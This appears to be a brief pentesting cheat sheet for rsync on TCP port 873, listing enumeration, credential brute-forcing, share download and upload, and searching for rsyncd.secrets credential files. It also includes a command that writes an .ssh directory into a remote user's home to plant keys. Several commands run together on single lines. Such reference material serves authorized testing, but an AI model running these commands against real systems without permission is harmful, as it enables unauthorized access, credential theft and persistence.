Rsync
Pentesting RSync - TCP Ports 873
Theory
Practice
Enumeration
# The URL format is `[rsync://][user@]host[:port]/module.``
rsync rsync://user@target_host/nmap -p 873 <IP>nmap -sV --script "rsync-list-modules" -p 873 target_hostExploiting
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>Post-Exploitation
rsync -av home_user/.ssh/ rsync://user@target_host/home_user/.sshrsync -avz rsync://<IP>:873/share_name /local/directory/
# OR
rsync -avz <IP>::share_name /local/directory/rsync -av /local/directory/ <IP>::share_name
# OR
rsync -av /local/directory/ rsync://<IP>:873/share_name find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)Resources
Last updated